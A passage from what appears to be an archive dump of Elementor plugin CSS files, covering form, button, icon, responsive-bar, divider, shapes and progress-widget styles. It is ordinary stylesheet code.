rgba(0,0,0,.3)}.elementor-field-group.elementor-field-type-select-multiple .elementor-select-wrapper:before{content:""}.elementor-field-subgroup{display:flex;flex-wrap:wrap}.elementor-field-subgroup .elementor-field-option label{display:inline-block}.elementor-field-subgroup.elementor-subgroup-inline .elementor-field-option{padding-inline-end:10px}.elementor-field-subgroup:not(.elementor-subgroup-inline) .elementor-field-option{flex-basis:100%}.elementor-field-type-acceptance .elementor-field-subgroup .elementor-field-option input,.elementor-field-type-acceptance .elementor-field-subgroup .elementor-field-option label,.elementor-field-type-checkbox .elementor-field-subgroup .elementor-field-option input,.elementor-field-type-checkbox .elementor-field-subgroup .elementor-field-option label,.elementor-field-type-radio .elementor-field-subgroup .elementor-field-option input,.elementor-field-type-radio .elementor-field-subgroup .elementor-field-option label{display:inline}.elementor-field-label{cursor:pointer}.elementor-mark-required .elementor-field-label:after{content:"*";color:red;padding-inline-start:.2em}.elementor-field-textual{line-height:1.4;font-size:15px;min-height:40px;padding:5px 14px;border-radius:3px}.elementor-field-textual.elementor-size-xs{font-size:13px;min-height:33px;padding:4px 12px;border-radius:2px}.elementor-field-textual.elementor-size-md{font-size:16px;min-height:47px;padding:6px 16px;border-radius:4px}.elementor-field-textual.elementor-size-lg{font-size:18px;min-height:59px;padding:7px 20px;border-radius:5px}.elementor-field-textual.elementor-size-xl{font-size:20px;min-height:72px;padding:8px 24px;border-radius:6px}.elementor-button-align-stretch .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button{flex-basis:100%}.elementor-button-align-stretch .e-form__buttons__wrapper{flex-basis:50%;flex-grow:1}.elementor-button-align-stretch .e-form__buttons__wrapper__button{flex-basis:100%}.elementor-button-align-center .e-form__buttons,.elementor-button-align-center .elementor-field-type-submit{justify-content:center}.elementor-button-align-start .e-form__buttons,.elementor-button-align-start .elementor-field-type-submit{justify-content:flex-end}.elementor-button-align-end .e-form__buttons,.elementor-button-align-end .elementor-field-type-submit{justify-content:flex-start}.elementor-button-align-center .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button,.elementor-button-align-end .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button,.elementor-button-align-start .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button{flex-basis:auto}.elementor-button-align-center .e-form__buttons__wrapper,.elementor-button-align-end .e-form__buttons__wrapper,.elementor-button-align-start .e-form__buttons__wrapper{flex-grow:0}.elementor-button-align-center .e-form__buttons__wrapper,.elementor-button-align-center .e-form__buttons__wrapper__button,.elementor-button-align-end .e-form__buttons__wrapper,.elementor-button-align-end .e-form__buttons__wrapper__button,.elementor-button-align-start .e-form__buttons__wrapper,.elementor-button-align-start .e-form__buttons__wrapper__button{flex-basis:auto}@media screen and (max-width:1024px){.elementor-tablet-button-align-stretch .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button{flex-basis:100%}.elementor-tablet-button-align-stretch .e-form__buttons__wrapper{flex-basis:50%;flex-grow:1}.elementor-tablet-button-align-stretch .e-form__buttons__wrapper__button{flex-basis:100%}.elementor-tablet-button-align-center .e-form__buttons,.elementor-tablet-button-align-center .elementor-field-type-submit{justify-content:center}.elementor-tablet-button-align-start .e-form__buttons,.elementor-tablet-button-align-start .elementor-field-type-submit{justify-content:flex-end}.elementor-tablet-button-align-end .e-form__buttons,.elementor-tablet-button-align-end .elementor-field-type-submit{justify-content:flex-start}.elementor-tablet-button-align-center .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button,.elementor-tablet-button-align-end .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button,.elementor-tablet-button-align-start .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button{flex-basis:auto}.elementor-tablet-button-align-center .e-form__buttons__wrapper,.elementor-tablet-button-align-end .e-form__buttons__wrapper,.elementor-tablet-button-align-start .e-form__buttons__wrapper{flex-grow:0}.elementor-tablet-button-align-center .e-form__buttons__wrapper,.elementor-tablet-button-align-center .e-form__buttons__wrapper__button,.elementor-tablet-button-align-end .e-form__buttons__wrapper,.elementor-tablet-button-align-end .e-form__buttons__wrapper__button,.elementor-tablet-button-align-start .e-form__buttons__wrapper,.elementor-tablet-button-align-start .e-form__buttons__wrapper__button{flex-basis:auto}}@media screen and (max-width:767px){.elementor-mobile-button-align-stretch .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button{flex-basis:100%}.elementor-mobile-button-align-stretch .e-form__buttons__wrapper{flex-basis:50%;flex-grow:1}.elementor-mobile-button-align-stretch .e-form__buttons__wrapper__button{flex-basis:100%}.elementor-mobile-button-align-center .e-form__buttons,.elementor-mobile-button-align-center .elementor-field-type-submit{justify-content:center}.elementor-mobile-button-align-start .e-form__buttons,.elementor-mobile-button-align-start .elementor-field-type-submit{justify-content:flex-end}.elementor-mobile-button-align-end .e-form__buttons,.elementor-mobile-button-align-end .elementor-field-type-submit{justify-content:flex-start}.elementor-mobile-button-align-center .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button,.elementor-mobile-button-align-end .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button,.elementor-mobile-button-align-start .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button{flex-basis:auto}.elementor-mobile-button-align-center .e-form__buttons__wrapper,.elementor-mobile-button-align-end .e-form__buttons__wrapper,.elementor-mobile-button-align-start .e-form__buttons__wrapper{flex-grow:0}.elementor-mobile-button-align-center .e-form__buttons__wrapper,.elementor-mobile-button-align-center .e-form__buttons__wrapper__button,.elementor-mobile-button-align-end .e-form__buttons__wrapper,.elementor-mobile-button-align-end .e-form__buttons__wrapper__button,.elementor-mobile-button-align-start .e-form__buttons__wrapper,.elementor-mobile-button-align-start .e-form__buttons__wrapper__button{flex-basis:auto}}.elementor-error .elementor-field{border-color:#d9534f}.elementor-error .help-inline{color:#d9534f;font-size:.9em}.elementor-message{margin:10px 0;font-size:1em;line-height:1}.elementor-message:before{content:"\e90e";display:inline-block;font-family:eicons;font-weight:400;font-style:normal;vertical-align:middle;margin-inline-end:5px}.elementor-message.elementor-message-danger{color:#d9534f}.elementor-message.elementor-message-danger:before{content:"\e87f"}.elementor-message.form-message-success{color:#5cb85c}.elementor-form .elementor-button{padding-block-start:0;padding-block-end:0;border:none}.elementor-form .elementor-button-content-wrapper,.elementor-form .elementor-button>span{display:flex;justify-content:center;flex-direction:row;gap:5px}.elementor-form .elementor-button.elementor-size-xs{min-height:33px}.elementor-form .elementor-button.elementor-size-sm{min-height:40px}.elementor-form .elementor-button.elementor-size-md{min-height:47px}.elementor-form .elementor-button.elementor-size-lg{min-height:59px}.elementor-form .elementor-button.elementor-size-xl{min-height:72px}.elementor-element .elementor-widget-container{transition:background .3s,border .3s,border-radius .3s,box-shadow .3s,transform var(--e-transform-transition-duration,.4s)}.elementor-heading-title{padding:0;margin:0;line-height:1}.elementor-button{display:inline-block;line-height:1;background-color:#69727d;font-size:15px;padding:12px 24px;border-radius:3px;color:#fff;fill:#fff;text-align:center;transition:all .3s}.elementor-button:focus,.elementor-button:hover,.elementor-button:visited{color:#fff}.elementor-button-content-wrapper{display:flex;justify-content:center;flex-direction:row;gap:5px}.elementor-button-icon svg{width:1em;height:auto}.elementor-button-icon .e-font-icon-svg{height:1em}.elementor-button-text{display:inline-block}.elementor-button.elementor-size-xs{font-size:13px;padding:10px 20px;border-radius:2px}.elementor-button.elementor-size-md{font-size:16px;padding:15px 30px;border-radius:4px}.elementor-button.elementor-size-lg{font-size:18px;padding:20px 40px;border-radius:5px}.elementor-button.elementor-size-xl{font-size:20px;padding:25px 50px;border-radius:6px}.elementor-button span{text-decoration:inherit}.elementor-element.elementor-button-info .elementor-button{background-color:#5bc0de}.elementor-element.elementor-button-success .elementor-button{background-color:#5cb85c}.elementor-element.elementor-button-warning .elementor-button{background-color:#f0ad4e}.elementor-element.elementor-button-danger .elementor-button{background-color:#d9534f}.elementor-widget-button .elementor-button .elementor-button-info{background-color:#5bc0de}.elementor-widget-button .elementor-button .elementor-button-success{background-color:#5cb85c}.elementor-widget-button .elementor-button .elementor-button-warning{background-color:#f0ad4e}.elementor-widget-button .elementor-button .elementor-button-danger{background-color:#d9534f}.elementor-tab-title a{color:inherit}.elementor-view-stacked .elementor-icon{padding:.5em;background-color:#69727d;color:#fff;fill:#fff}.elementor-view-framed .elementor-icon{padding:.5em;color:#69727d;border:3px solid #69727d;background-color:transparent}.elementor-icon{display:inline-block;line-height:1;transition:all .3s;color:#69727d;font-size:50px;text-align:center}.elementor-icon:hover{color:#69727d}.elementor-icon i,.elementor-icon svg{width:1em;height:1em;position:relative;display:block}.elementor-icon i:before,.elementor-icon svg:before{position:absolute;left:50%;transform:translateX(-50%)}.elementor-icon i.fad{width:auto}.elementor-shape-square .elementor-icon{border-radius:0}.elementor-shape-rounded .elementor-icon{border-radius:10%}.elementor-shape-circle .elementor-icon{border-radius:50%}.e-transform .elementor-widget-container{transform:perspective(var(--e-transform-perspective,0)) rotate(var(--e-transform-rotateZ,0)) rotateX(var(--e-transform-rotateX,0)) rotateY(var(--e-transform-rotateY,0)) translate(var(--e-transform-translate,0)) translateX(var(--e-transform-translateX,0)) translateY(var(--e-transform-translateY,0)) scaleX(calc(var(--e-transform-flipX, 1) * var(--e-transform-scaleX, var(--e-transform-scale, 1)))) scaleY(calc(var(--e-transform-flipY, 1) * var(--e-transform-scaleY, var(--e-transform-scale, 1)))) skewX(var(--e-transform-skewX,0)) skewY(var(--e-transform-skewY,0));transform-origin:var(--e-transform-origin-y) var(--e-transform-origin-x)}.e-con.e-transform{transform:perspective(var(--e-con-transform-perspective,0)) rotate(var(--e-con-transform-rotateZ,0)) rotateX(var(--e-con-transform-rotateX,0)) rotateY(var(--e-con-transform-rotateY,0)) translate(var(--e-con-transform-translate,0)) translateX(var(--e-con-transform-translateX,0)) translateY(var(--e-con-transform-translateY,0)) scaleX(calc(var(--e-con-transform-flipX, 1) * var(--e-con-transform-scaleX, var(--e-con-transform-scale, 1)))) scaleY(calc(var(--e-con-transform-flipY, 1) * var(--e-con-transform-scaleY, var(--e-con-transform-scale, 1)))) skewX(var(--e-con-transform-skewX,0)) skewY(var(--e-con-transform-skewY,0));transform-origin:var(--e-con-transform-origin-y) var(--e-con-transform-origin-x)}.animated{animation-duration:1.25s}.animated.animated-slow{animation-duration:2s}.animated.animated-fast{animation-duration:.75s}.animated.infinite{animation-iteration-count:infinite}.animated.reverse{animation-direction:reverse;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.animated{animation:none}}.page-template-elementor_canvas.elementor-page:before{display:none}.elementor-post__thumbnail__link{transition:none}#left-area ul.elementor-icon-list-items,.elementor-edit-area .elementor-element ul.elementor-icon-list-items,.elementor .elementor-element ul.elementor-icon-list-items{padding:0}.e--ua-appleWebkit.rtl{--flex-right:flex-start}.e--ua-appleWebkit .elementor-share-buttons--align-right,.e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-right{--justify-content:var(--flex-right,flex-end)}.e--ua-appleWebkit .elementor-share-buttons--align-center,.e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-center{--justify-content:center}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-center .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-justify .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-right .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-center .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-right .elementor-grid{width:auto;display:flex;flex-wrap:wrap;justify-content:var(--justify-content,space-between);margin-left:calc(-.5 * var(--grid-column-gap));margin-right:calc(-.5 * var(--grid-column-gap))}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-center .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-justify .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-right .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-center .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-right .elementor-grid-item{margin-left:calc(.5 * var(--grid-column-gap));margin-right:calc(.5 * var(--grid-column-gap))}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-left .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-left .elementor-grid{display:inline-block}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-left .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-left .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-left .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-left .elementor-grid-item{margin-left:0;margin-right:0}@media (max-width:1024px){.e--ua-appleWebkit .elementor-share-buttons-tablet--align-right,.e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-tablet-right{--justify-content:var(--flex-right,flex-end)}.e--ua-appleWebkit .elementor-share-buttons-tablet--align-center,.e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-tablet-center{--justify-content:center}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-center .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-justify .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-right .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-center .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-right .elementor-grid{width:auto;display:flex;flex-wrap:wrap;justify-content:var(--justify-content,space-between);margin-left:calc(-.5 * var(--grid-column-gap));margin-right:calc(-.5 * var(--grid-column-gap))}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-center .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-justify .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-right .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-center .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-right .elementor-grid-item{margin-left:calc(.5 * var(--grid-column-gap));margin-right:calc(.5 * var(--grid-column-gap))}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-tablet--align-left .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-left .elementor-grid{display:inline-block}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-tablet--align-left .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-tablet--align-left .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-left .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-left .elementor-grid-item{margin-left:0;margin-right:0}}@media (max-width:767px){.e--ua-appleWebkit .elementor-share-buttons-mobile--align-right,.e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-mobile-right{--justify-content:var(--flex-right,flex-end)}.e--ua-appleWebkit .elementor-share-buttons-mobile--align-center,.e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-mobile-center{--justify-content:center}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-center .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-justify .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-right .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-center .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-right .elementor-grid{width:auto;display:flex;flex-wrap:wrap;justify-content:var(--justify-content,space-between);margin-left:calc(-.5 * var(--grid-column-gap));margin-right:calc(-.5 * var(--grid-column-gap))}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-center .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-justify .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-right .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-center .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-right .elementor-grid-item{margin-left:calc(.5 * var(--grid-column-gap));margin-right:calc(.5 * var(--grid-column-gap))}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-mobile--align-left .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-left .elementor-grid{display:inline-block}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-mobile--align-left .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-mobile--align-left .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-left .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-left .elementor-grid-item{margin-left:0;margin-right:0}}@media (max-width:767px){.elementor .elementor-hidden-mobile,.elementor .elementor-hidden-phone{display:none}}@media (min-width:-1) and (max-width:-1){.elementor .elementor-hidden-mobile_extra{display:none}}@media (min-width:768px) and (max-width:1024px){.elementor .elementor-hidden-tablet{display:none}}@media (min-width:-1) and (max-width:-1){.elementor .elementor-hidden-laptop,.elementor .elementor-hidden-tablet_extra{display:none}}@media (min-width:1025px) and (max-width:99999px){.elementor .elementor-hidden-desktop{display:none}}@media (min-width:-1){.elementor .elementor-hidden-widescreen{display:none}}assets/css/responsive-bar.min.css000064400000007112147206604650013104 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ :root{--e-is-device-mode:0}.e-is-device-mode{--e-is-device-mode:1}#elementor-responsive-bar{position:sticky;height:calc(40px * var(--e-is-device-mode));align-self:stretch;flex-shrink:0;transition:height .2s ease-in-out,opacity .1s;left:0;top:0;z-index:100;opacity:var(--e-is-device-mode);box-shadow:0 0 10px 2px rgba(0,0,0,.33),0 0 2px 1px rgba(0,0,0,.25),0 0 6px -3px hsla(0,0%,100%,.5)}#elementor-responsive-bar:before{content:"";position:absolute;left:0;top:0;width:100%;height:100%;z-index:-1;transform:scaleX(var(--e-preview-scale,1))}.e-responsive-bar-switcher__option{cursor:pointer;text-align:center;width:22px;height:22px;margin:0 4px;line-height:22px;border-radius:3px;font-size:16px;transition:var(--e-a-transition-hover)}.e-responsive-bar-switcher__option:hover{color:var(--e-a-color-primary-bold);background-color:#310132}.e-responsive-bar-switcher__option[aria-selected=true]{background-color:#3f444b;color:#f9fafa}.e-responsive-bar-switcher__option input{display:none}.e-responsive-bar-switcher__option:not(:last-child){margin-inline-end:6px}.e-responsive-bar__button{-webkit-appearance:none;-moz-appearance:none;appearance:none;background:none;border:0;cursor:pointer;color:inherit}.e-responsive-bar__button:focus:not(:focus-visible){outline:none}.e-responsive-bar__button:hover{color:#f1f2f3;background-color:#3f444b}.e-responsive-bar--pipe{position:relative}.e-responsive-bar--pipe:before{content:"";display:block;height:20px;width:1px;background-color:#babfc5;position:absolute;inset-inline-end:-5px;top:calc(50% - 10px)}.e-responsive-bar__input-size{background-color:transparent;color:#babfc5;border:1px solid #babfc5;padding:0 3px;width:60px;font-size:12px;line-height:16px;height:18px;margin:auto 8px auto 4px;text-align:center}.e-responsive-bar__input-size-separator{color:#babfc5}.e-responsive-bar__input-size[disabled]{background-color:transparent;color:#818a96;cursor:default;-moz-appearance:none;appearance:none;-webkit-appearance:none}#e-responsive-bar{width:100%;margin-block-start:calc(-40px + 40px * var(--e-is-device-mode));z-index:1;transition:margin-block-start .2s ease-in-out;display:grid;grid-template-columns:auto 1fr;align-items:center;justify-content:space-between;color:#babfc5;background-color:#1f2124}#e-responsive-bar-scale,#e-responsive-bar-switcher,#e-responsive-bar__center,#e-responsive-bar__end{display:flex;justify-content:center;align-items:center;font-size:13px;background-color:#1f2124;padding:2px 0}#e-responsive-bar__end{justify-self:end}@media (min-width:1400px){#e-responsive-bar{grid-template-columns:1fr auto 1fr}#e-responsive-bar:before{content:""}}#e-responsive-bar__close-button,#e-responsive-bar__settings-button{width:22px;height:22px;border-radius:3px;margin:7px 5px;font-size:16px}#e-responsive-bar__size-inputs-wrapper{display:flex;align-items:center;margin-inline-end:8px;color:#babfc5}#e-responsive-bar-scale,#e-responsive-bar-switcher{padding:0 20px}#e-responsive-bar-scale__value-wrapper{margin:0 14px;min-width:32px;text-align:center}#e-responsive-bar-scale__minus,#e-responsive-bar-scale__plus,#e-responsive-bar-scale__reset{cursor:pointer;width:20px;height:20px;display:flex;align-items:center;justify-content:center;border-radius:3px;transition:all .3s}#e-responsive-bar-scale__minus:hover,#e-responsive-bar-scale__plus:hover,#e-responsive-bar-scale__reset:hover{color:#f1f2f3;background-color:#3f444b}#e-responsive-bar-scale__minus:before{content:"";display:block;width:13px;height:2px;background-color:#babfc5;border-radius:3px}#e-responsive-bar-scale__minus:hover:before{background-color:#f1f2f3}#e-responsive-bar-scale__reset{margin:0 8px}assets/css/widget-menu-anchor-rtl.min.css000064400000000152147206604650014436 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ body.elementor-page .elementor-widget-menu-anchor{margin-bottom:0}assets/css/widget-divider-rtl.min.css000064400000010310147206604650013645 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-divider{--divider-border-style:none;--divider-border-width:1px;--divider-color:#0c0d0e;--divider-icon-size:20px;--divider-element-spacing:10px;--divider-pattern-height:24px;--divider-pattern-size:20px;--divider-pattern-url:none;--divider-pattern-repeat:repeat-x}.elementor-widget-divider .elementor-divider{display:flex}.elementor-widget-divider .elementor-divider__text{font-size:15px;line-height:1;max-width:95%}.elementor-widget-divider .elementor-divider__element{margin:0 var(--divider-element-spacing);flex-shrink:0}.elementor-widget-divider .elementor-icon{font-size:var(--divider-icon-size)}.elementor-widget-divider .elementor-divider-separator{display:flex;margin:0;direction:ltr}.elementor-widget-divider--view-line_icon .elementor-divider-separator,.elementor-widget-divider--view-line_text .elementor-divider-separator{align-items:center}.elementor-widget-divider--view-line_icon .elementor-divider-separator:after,.elementor-widget-divider--view-line_icon .elementor-divider-separator:before,.elementor-widget-divider--view-line_text .elementor-divider-separator:after,.elementor-widget-divider--view-line_text .elementor-divider-separator:before{display:block;content:"";border-block-end:0;flex-grow:1;border-block-start:var(--divider-border-width) var(--divider-border-style) var(--divider-color)}.elementor-widget-divider--element-align-left .elementor-divider .elementor-divider-separator>.elementor-divider__svg:first-of-type{flex-grow:0;flex-shrink:100}.elementor-widget-divider--element-align-left .elementor-divider-separator:before{content:none}.elementor-widget-divider--element-align-left .elementor-divider__element{margin-left:0}.elementor-widget-divider--element-align-right .elementor-divider .elementor-divider-separator>.elementor-divider__svg:last-of-type{flex-grow:0;flex-shrink:100}.elementor-widget-divider--element-align-right .elementor-divider-separator:after{content:none}.elementor-widget-divider--element-align-right .elementor-divider__element{margin-right:0}.elementor-widget-divider--element-align-start .elementor-divider .elementor-divider-separator>.elementor-divider__svg:first-of-type{flex-grow:0;flex-shrink:100}.elementor-widget-divider--element-align-start .elementor-divider-separator:before{content:none}.elementor-widget-divider--element-align-start .elementor-divider__element{margin-inline-start:0}.elementor-widget-divider--element-align-end .elementor-divider .elementor-divider-separator>.elementor-divider__svg:last-of-type{flex-grow:0;flex-shrink:100}.elementor-widget-divider--element-align-end .elementor-divider-separator:after{content:none}.elementor-widget-divider--element-align-end .elementor-divider__element{margin-inline-end:0}.elementor-widget-divider:not(.elementor-widget-divider--view-line_text):not(.elementor-widget-divider--view-line_icon) .elementor-divider-separator{border-block-start:var(--divider-border-width) var(--divider-border-style) var(--divider-color)}.elementor-widget-divider--separator-type-pattern{--divider-border-style:none}.elementor-widget-divider--separator-type-pattern.elementor-widget-divider--view-line .elementor-divider-separator,.elementor-widget-divider--separator-type-pattern:not(.elementor-widget-divider--view-line) .elementor-divider-separator:after,.elementor-widget-divider--separator-type-pattern:not(.elementor-widget-divider--view-line) .elementor-divider-separator:before,.elementor-widget-divider--separator-type-pattern:not([class*=elementor-widget-divider--view]) .elementor-divider-separator{width:100%;min-height:var(--divider-pattern-height);-webkit-mask-size:var(--divider-pattern-size) 100%;mask-size:var(--divider-pattern-size) 100%;-webkit-mask-repeat:var(--divider-pattern-repeat);mask-repeat:var(--divider-pattern-repeat);background-color:var(--divider-color);-webkit-mask-image:var(--divider-pattern-url);mask-image:var(--divider-pattern-url)}.elementor-widget-divider--no-spacing{--divider-pattern-size:auto}.elementor-widget-divider--bg-round{--divider-pattern-repeat:round}.rtl .elementor-widget-divider .elementor-divider__text{direction:rtl}.e-con-inner>.elementor-widget-divider,.e-con>.elementor-widget-divider{width:var(--container-widget-width,100%);--flex-grow:var(--container-widget-flex-grow)}assets/css/widget-shapes-rtl.min.css000064400000002062147206604650013507 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-text-path{font-size:20px;text-align:var(--alignment,start)}.elementor-widget-text-path svg{width:var(--width);max-width:100%;height:auto;overflow:visible;word-spacing:var(--word-spacing);transform:rotate(var(--rotate,0)) scaleX(var(--scale-x,1)) scaleY(var(--scale-y,1))}.elementor-widget-text-path svg path{vector-effect:non-scaling-stroke;fill:var(--path-fill,transparent);stroke:var(--stroke-color,transparent);stroke-width:var(--stroke-width,1px);transition:var(--stroke-transition) stroke,var(--stroke-transition) fill}.elementor-widget-text-path svg:hover path{--path-fill:var(--path-fill-hover);--stroke-color:var(--stroke-color-hover);--stroke-width:var(--stroke-width-hover)}.elementor-widget-text-path svg text{--fill:var(--text-color);fill:var(--fill);direction:var(--direction,rtl);transition:var(--transition) stroke,var(--transition) stroke-width,var(--transition) fill}.elementor-widget-text-path svg text:hover{--color:var(--text-color-hover,var(--text-color));--fill:var(--color);color:var(--color)}assets/css/widget-progress-rtl.min.css000064400000002315147206604650014071 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-progress{text-align:start}.elementor-progress-wrapper{position:relative;background-color:#eee;color:#fff;height:100%;border-radius:2px}.elementor-progress-bar{display:flex;background-color:#69727d;width:0;font-size:11px;height:30px;line-height:30px;border-radius:2px;transition:width 1s ease-in-out}.elementor-progress-text{flex-grow:1;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;padding-inline-start:15px}.elementor-progress-percentage{padding-inline-end:15px}.elementor-widget-progress .elementor-progress-wrapper.progress-info .elementor-progress-bar{background-color:#5bc0de}.elementor-widget-progress .elementor-progress-wrapper.progress-success .elementor-progress-bar{background-color:#5cb85c}.elementor-widget-progress .elementor-progress-wrapper.progress-warning .elementor-progress-bar{background-color:#f0ad4e}.elementor-widget-progress .elementor-progress-wrapper.progress-danger .elementor-progress-bar{background-color:#d9534f}.elementor-progress .elementor-title{display:block}@media (max-width:767px){.elementor-progress-text{padding-inline-start:10px}}.e-con-inner .elementor-progress-wrapper,.e-con .elementor-progress-wrapper{height:auto}assets/css/responsive-bar.css000064400000010470147206604650012323 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ :root { --e-is-device-mode: 0; } .e-is-device-mode { --e-is-device-mode: 1; } #elementor-responsive-bar { position: sticky; height: calc(40px * var(--e-is-device-mode)); align-self: stretch; flex-shrink: 0; transition: height 0.2s ease-in-out, opacity 0.1s; left: 0; top: 0; z-index: 100; opacity: var(--e-is-device-mode); box-shadow: 0 0 10px 2px rgba(0, 0, 0, 0.33), 0 0 2px 1px rgba(0, 0, 0, 0.25), 0 0 6px -3px rgba(255, 255, 255, 0.5); } #elementor-responsive-bar:before { content: ""; position: absolute; left: 0; top: 0; width: 100%; height: 100%; z-index: -1; transform: scaleX(var(--e-preview-scale, 1)); } .e-responsive-bar-switcher__option { cursor: pointer; text-align: center; width: 22px; height: 22px; margin: 0 4px; line-height: 22px; border-radius: 3px; font-size: 16px; transition: var(--e-a-transition-hover); } .e-responsive-bar-switcher__option:hover { color: var(--e-a-color-primary-bold); background-color: #310132; } .e-responsive-bar-switcher__option[aria-selected=true] { background-color: #3f444b; color: #F9FAFA; } .e-responsive-bar-switcher__option input { display: none; } .e-responsive-bar-switcher__option:not(:last-child) { margin-inline-end: 6px; } .e-responsive-bar__button { -webkit-appearance: none; -moz-appearance: none; appearance: none; background: none; border: 0 none; cursor: pointer; color: inherit; } .e-responsive-bar__button:focus:not(:focus-visible) { outline: none; } .e-responsive-bar__button:hover { color: #F1F2F3; background-color: #3f444b; } .e-responsive-bar--pipe { position: relative; } .e-responsive-bar--pipe::before { content: ""; display: block; height: 20px; width: 1px; background-color: #BABFC5; position: absolute; inset-inline-end: -5px; top: calc(50% - 10px); } .e-responsive-bar__input-size { background-color: transparent; color: #BABFC5; border: 1px solid #BABFC5; padding: 0 3px; width: 60px; font-size: 12px; line-height: 16px; height: 18px; margin: auto 8px auto 4px; text-align: center; } .e-responsive-bar__input-size-separator { color: #BABFC5; } .e-responsive-bar__input-size[disabled] { background-color: transparent; color: #818A96; cursor: default; -moz-appearance: none; appearance: none; -webkit-appearance: none; } #e-responsive-bar { width: 100%; margin-block-start: calc(-40px + 40px * var(--e-is-device-mode)); z-index: 1; transition: margin-block-start 0.2s ease-in-out; display: grid; grid-template-columns: auto 1fr; align-items: center; justify-content: space-between; color: #BABFC5; background-color: 